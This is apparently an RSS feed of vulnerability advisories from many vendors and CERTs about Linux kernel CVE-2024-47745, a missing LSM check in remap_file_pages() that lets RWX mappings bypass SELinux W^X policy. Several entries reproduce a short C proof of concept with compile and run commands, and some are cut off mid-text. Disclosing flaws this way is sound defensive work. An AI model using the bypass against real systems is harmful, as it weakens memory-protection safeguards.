<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 09:31:27 +0000</lastBuildDate>
    <item>
      <title>bdu:2025-04689</title>
      <link>https://cve.radiocsirt.org/vuln/bdu:2025-04689</link>
      <description>bdu:2025-04689</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/bdu:2025-04689</guid>
    </item>
    <item>
      <title>BELL-CVE-2024-47745</title>
      <link>https://cve.radiocsirt.org/vuln/bell-cve-2024-47745</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Alpaquita:23: linux-lts, Alpaquita:25: linux-lts, Alpaquita:stream: linux-lts&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Alpaquita:23: linux-lts, Alpaquita:25: linux-lts, Alpaquita:stream: linux-lts&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/bell-cve-2024-47745</guid>
    </item>
    <item>
      <title>certfr-2024-avi-0999 — De multiples vulnérabilités ont été découvertes dans le noyau Linux de SUSE. Certaines d'entre elles permettent à un at…</title>
      <link>https://cve.radiocsirt.org/vuln/certfr-2024-avi-0999</link>
      <description>certfr-2024-avi-0999</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/certfr-2024-avi-0999</guid>
    </item>
    <item>
      <title>EUVD-2026-346191</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-346191</link>
      <description>EUVD-2026-346191</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-346191</guid>
    </item>
    <item>
      <title>fkie_cve-2024-47745</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2024-47745</link>
      <description>&lt;p&gt;In the Linux kernel, the following vulnerability has been resolved:&lt;/p&gt;
&lt;p&gt;mm: call the security_mmap_file() LSM hook in remap_file_pages()&lt;/p&gt;
&lt;p&gt;The remap_file_pages syscall handler calls do_mmap() directly, which
doesn&amp;#39;t contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.&lt;/p&gt;
&lt;p&gt;So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.&lt;/p&gt;
&lt;p&gt;The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].&lt;/p&gt;
&lt;p&gt;The PoC:&lt;/p&gt;
&lt;p&gt;$ cat &amp;gt; test.c&lt;/p&gt;
&lt;p&gt;int main(void) {
	size_t pagesz = sysconf(_SC_PAGE_SIZE);
	int mfd = syscall(SYS_memfd_create, &amp;#34;test&amp;#34;, 0);
	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
		MAP_SHARED, mfd, 0);
	unsigned int old = syscall(SYS_personality, 0xffffffff);
	syscall(SYS_personality, READ_IMPLIES_EXEC | old);
	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
	syscall(SYS_personality, old);
	// show the RWX page exists even if W^X policy is enforced
	int fd = open(&amp;#34;/proc/self/maps&amp;#34;, O_RDONLY);
	unsigned char buf2[1024];
	while (1) {
		int ret = read(fd, buf2, 1024);
		if (ret &amp;lt;= 0) break;
		write(1, buf2, ret);
	}
	close(fd);
}&lt;/p&gt;
&lt;p&gt;$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;In the Linux kernel, the following vulnerability has been resolved:&lt;/p&gt;
&lt;p&gt;mm: call the security_mmap_file() LSM hook in remap_file_pages()&lt;/p&gt;
&lt;p&gt;The remap_file_pages syscall handler calls do_mmap() directly, which
doesn&amp;#39;t contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.&lt;/p&gt;
&lt;p&gt;So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.&lt;/p&gt;
&lt;p&gt;The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].&lt;/p&gt;
&lt;p&gt;The PoC:&lt;/p&gt;
&lt;p&gt;$ cat &amp;gt; test.c&lt;/p&gt;
&lt;p&gt;int main(void) {
	size_t pagesz = sysconf(_SC_PAGE_SIZE);
	int mfd = syscall(SYS_memfd_create, &amp;#34;test&amp;#34;, 0);
	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
		MAP_SHARED, mfd, 0);
	unsigned int old = syscall(SYS_personality, 0xffffffff);
	syscall(SYS_personality, READ_IMPLIES_EXEC | old);
	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
	syscall(SYS_personality, old);
	// show the RWX page exists even if W^X policy is enforced
	int fd = open(&amp;#34;/proc/self/maps&amp;#34;, O_RDONLY);
	unsigned char buf2[1024];
	while (1) {
		int ret = read(fd, buf2, 1024);
		if (ret &amp;lt;= 0) break;
		write(1, buf2, ret);
	}
	close(fd);
}&lt;/p&gt;
&lt;p&gt;$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2024-47745</guid>
    </item>
    <item>
      <title>GHSA-qpxg-4f92-ww23</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-qpxg-4f92-ww23</link>
      <description>&lt;p&gt;In the Linux kernel, the following vulnerability has been resolved:&lt;/p&gt;
&lt;p&gt;mm: call the security_mmap_file() LSM hook in remap_file_pages()&lt;/p&gt;
&lt;p&gt;The remap_file_pages syscall handler calls do_mmap() directly, which
doesn&amp;#39;t contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.&lt;/p&gt;
&lt;p&gt;So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.&lt;/p&gt;
&lt;p&gt;The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].&lt;/p&gt;
&lt;p&gt;The PoC:&lt;/p&gt;
&lt;p&gt;$ cat &amp;gt; test.c&lt;/p&gt;
&lt;p&gt;int main(void) {
	size_t pagesz = sysconf(_SC_PAGE_SIZE);
	int mfd = syscall(SYS_memfd_create, &amp;#34;test&amp;#34;, 0);
	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
		MAP_SHARED, mfd, 0);
	unsigned int old = syscall(SYS_personality, 0xffffffff);
	syscall(SYS_personality, READ_IMPLIES_EXEC | old);
	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
	syscall(SYS_personality, old);
	// show the RWX page exists even if W^X policy is enforced
	int fd = open(&amp;#34;/proc/self/maps&amp;#34;, O_RDONLY);
	unsigned char buf2[1024];
	while (1) {
		int ret = read(fd, buf2, 1024);
		if (ret &amp;lt;= 0) break;
		write(1, buf2, ret);
	}
	close(fd);
}&lt;/p&gt;
&lt;p&gt;$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;In the Linux kernel, the following vulnerability has been resolved:&lt;/p&gt;
&lt;p&gt;mm: call the security_mmap_file() LSM hook in remap_file_pages()&lt;/p&gt;
&lt;p&gt;The remap_file_pages syscall handler calls do_mmap() directly, which
doesn&amp;#39;t contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.&lt;/p&gt;
&lt;p&gt;So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.&lt;/p&gt;
&lt;p&gt;The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].&lt;/p&gt;
&lt;p&gt;The PoC:&lt;/p&gt;
&lt;p&gt;$ cat &amp;gt; test.c&lt;/p&gt;
&lt;p&gt;int main(void) {
	size_t pagesz = sysconf(_SC_PAGE_SIZE);
	int mfd = syscall(SYS_memfd_create, &amp;#34;test&amp;#34;, 0);
	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
		MAP_SHARED, mfd, 0);
	unsigned int old = syscall(SYS_personality, 0xffffffff);
	syscall(SYS_personality, READ_IMPLIES_EXEC | old);
	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
	syscall(SYS_personality, old);
	// show the RWX page exists even if W^X policy is enforced
	int fd = open(&amp;#34;/proc/self/maps&amp;#34;, O_RDONLY);
	unsigned char buf2[1024];
	while (1) {
		int ret = read(fd, buf2, 1024);
		if (ret &amp;lt;= 0) break;
		write(1, buf2, ret);
	}
	close(fd);
}&lt;/p&gt;
&lt;p&gt;$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-qpxg-4f92-ww23</guid>
    </item>
    <item>
      <title>msrc_CVE-2024-47745 — mm: call the security_mmap_file() LSM hook in remap_file_pages()</title>
      <link>https://cve.radiocsirt.org/vuln/msrc_cve-2024-47745</link>
      <description>msrc_CVE-2024-47745</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/msrc_cve-2024-47745</guid>
    </item>
    <item>
      <title>OESA-2024-2449 — kernel security update</title>
      <link>https://cve.radiocsirt.org/vuln/oesa-2024-2449</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; openEuler:20.03-LTS-SP4: kernel&lt;/p&gt;
&lt;p&gt;The Linux Kernel, the operating system core itself.&#13;
&#13;
Security Fix(es):&#13;
&#13;
In the Linux kernel, the following vulnerability has been resolved:  mm: call the security_mmap_file() LSM hook in remap_file_pages()  The remap_file_pages syscall handler calls do_mmap() directly, which doesn&amp;amp;apos;t contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.  So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.  The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].  The PoC:  $ cat &amp;amp;gt; test.c  int main(void) {  size_t pagesz = sysconf(_SC_PAGE_SIZE);  int mfd = syscall(SYS_memfd_create, &amp;amp;quot;test&amp;amp;quot;, 0);  const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,   MAP_SHARED, mfd, 0);  unsigned int old = syscall(SYS_personality, 0xffffffff);  syscall(SYS_personality, READ_IMPLIES_EXEC | old);  syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);  syscall(SYS_personality, old);  // show the RWX page exists even if W^X policy is enforced  int fd = open(&amp;amp;quot;/proc/self/maps&amp;amp;quot;, O_RDONLY);  unsigned char buf2[1024];  while (1) {   int ret = read(fd, buf2, 1024);   if (ret &amp;amp;lt;= 0) b…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; openEuler:20.03-LTS-SP4: kernel&lt;/p&gt;
&lt;p&gt;The Linux Kernel, the operating system core itself.&#13;
&#13;
Security Fix(es):&#13;
&#13;
In the Linux kernel, the following vulnerability has been resolved:  mm: call the security_mmap_file() LSM hook in remap_file_pages()  The remap_file_pages syscall handler calls do_mmap() directly, which doesn&amp;amp;apos;t contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.  So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.  The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].  The PoC:  $ cat &amp;amp;gt; test.c  int main(void) {  size_t pagesz = sysconf(_SC_PAGE_SIZE);  int mfd = syscall(SYS_memfd_create, &amp;amp;quot;test&amp;amp;quot;, 0);  const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,   MAP_SHARED, mfd, 0);  unsigned int old = syscall(SYS_personality, 0xffffffff);  syscall(SYS_personality, READ_IMPLIES_EXEC | old);  syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);  syscall(SYS_personality, old);  // show the RWX page exists even if W^X policy is enforced  int fd = open(&amp;amp;quot;/proc/self/maps&amp;amp;quot;, O_RDONLY);  unsigned char buf2[1024];  while (1) {   int ret = read(fd, buf2, 1024);   if (ret &amp;amp;lt;= 0) b…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/oesa-2024-2449</guid>
    </item>
    <item>
      <title>openSUSE-SU-2024:14500-1 — kernel-devel-6.11.8-1.1 on GA media</title>
      <link>https://cve.radiocsirt.org/vuln/opensuse-su-2024:14500-1</link>
      <description>&lt;p&gt;kernel-devel-6.11.8-1.1 on GA media&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;kernel-devel-6.11.8-1.1 on GA media&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/opensuse-su-2024:14500-1</guid>
    </item>
    <item>
      <title>RHSA-2025:4509 — Red Hat Security Advisory: kernel security update</title>
      <link>https://cve.radiocsirt.org/vuln/rhsa-2025:4509</link>
      <description>&lt;p&gt;kernel: hwmon: (w83791d) Fix NULL pointer dereference by removing unnecessary structure field kernel: SUNRPC: Fix RPC client cleaned up the freed pipefs dentries kernel: crash due to a missing check for leb_size kernel: wifi: iwlwifi: mvm: ensure offloading TID queue exists kernel: mlxsw: spectrum_acl_tcam: Fix possible use-after-free during activity update kernel: ipvs: properly dereference pe in ip_vs_add_service kernel: devres: Fix memory leakage caused by driver API devm_free_percpu() kernel: mm: call the security_mmap_file() LSM hook in remap_file_pages() kernel: nvme-tcp: fix potential memory corruption in nvme_tcp_recv_pdu()&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;kernel: hwmon: (w83791d) Fix NULL pointer dereference by removing unnecessary structure field kernel: SUNRPC: Fix RPC client cleaned up the freed pipefs dentries kernel: crash due to a missing check for leb_size kernel: wifi: iwlwifi: mvm: ensure offloading TID queue exists kernel: mlxsw: spectrum_acl_tcam: Fix possible use-after-free during activity update kernel: ipvs: properly dereference pe in ip_vs_add_service kernel: devres: Fix memory leakage caused by driver API devm_free_percpu() kernel: mm: call the security_mmap_file() LSM hook in remap_file_pages() kernel: nvme-tcp: fix potential memory corruption in nvme_tcp_recv_pdu()&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/rhsa-2025:4509</guid>
    </item>
    <item>
      <title>SUSE-SU-2024:3983-1 — Security update for the Linux Kernel</title>
      <link>https://cve.radiocsirt.org/vuln/suse-su-2024:3983-1</link>
      <description>&lt;p&gt;Security update for the Linux Kernel&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Security update for the Linux Kernel&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/suse-su-2024:3983-1</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2024-47745</title>
      <link>https://cve.radiocsirt.org/vuln/ubuntu-cve-2024-47745</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:Pro:14.04:LTS: linux, Ubuntu:Pro:14.04:LTS: linux-aws, Ubuntu:Pro:14.04:LTS: linux-azure, Ubuntu:Pro:14.04:LTS: linux-lts-xenial, Ubuntu:Pro:16.04:LTS: linux, Ubuntu:Pro:16.04:LTS: linux-aws, Ubuntu:Pro:16.04:LTS: linux-aws-hwe, Ubuntu:Pro:16.04:LTS: linux-azure, Ubuntu:Pro:16.04:LTS: linux-gcp, Ubuntu:Pro:16.04:LTS: linux-hwe and 194 more&lt;/p&gt;
&lt;p&gt;In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn&amp;#39;t contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat &amp;gt; test.c int main(void) { 	size_t pagesz = sysconf(_SC_PAGE_SIZE); 	int mfd = syscall(SYS_memfd_create, &amp;#34;test&amp;#34;, 0); 	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, 		MAP_SHARED, mfd, 0); 	unsigned int old = syscall(SYS_personality, 0xffffffff); 	syscall(SYS_personality, READ_IMPLIES_EXEC | old); 	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); 	syscall(SYS_personality, old); 	// show the RWX page exists even if W^X policy is enforced 	int fd = open(&amp;#34;/proc/self/maps&amp;#34;, O_RDONLY); 	unsigned char buf2[1024]; 	while (1) { 		int ret = read(fd, buf2, 1024); 		if (ret &amp;lt;= 0) break; 		write(1, buf2, ret); 	} 	close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 r…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:Pro:14.04:LTS: linux, Ubuntu:Pro:14.04:LTS: linux-aws, Ubuntu:Pro:14.04:LTS: linux-azure, Ubuntu:Pro:14.04:LTS: linux-lts-xenial, Ubuntu:Pro:16.04:LTS: linux, Ubuntu:Pro:16.04:LTS: linux-aws, Ubuntu:Pro:16.04:LTS: linux-aws-hwe, Ubuntu:Pro:16.04:LTS: linux-azure, Ubuntu:Pro:16.04:LTS: linux-gcp, Ubuntu:Pro:16.04:LTS: linux-hwe and 194 more&lt;/p&gt;
&lt;p&gt;In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn&amp;#39;t contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat &amp;gt; test.c int main(void) { 	size_t pagesz = sysconf(_SC_PAGE_SIZE); 	int mfd = syscall(SYS_memfd_create, &amp;#34;test&amp;#34;, 0); 	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, 		MAP_SHARED, mfd, 0); 	unsigned int old = syscall(SYS_personality, 0xffffffff); 	syscall(SYS_personality, READ_IMPLIES_EXEC | old); 	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); 	syscall(SYS_personality, old); 	// show the RWX page exists even if W^X policy is enforced 	int fd = open(&amp;#34;/proc/self/maps&amp;#34;, O_RDONLY); 	unsigned char buf2[1024]; 	while (1) { 		int ret = read(fd, buf2, 1024); 		if (ret &amp;lt;= 0) break; 		write(1, buf2, ret); 	} 	close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 r…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ubuntu-cve-2024-47745</guid>
    </item>
    <item>
      <title>WID-SEC-W-2024-3251 — Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service</title>
      <link>https://cve.radiocsirt.org/vuln/wid-sec-w-2024-3251</link>
      <description>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in Linux Kernel ausnutzen, um einen Denial of Service Angriff durchzuführen oder andere, nicht näher bekannte Auswirkungen zu erzielen..&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in Linux Kernel ausnutzen, um einen Denial of Service Angriff durchzuführen oder andere, nicht näher bekannte Auswirkungen zu erzielen..&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/wid-sec-w-2024-3251</guid>
    </item>
  </channel>
</rss>
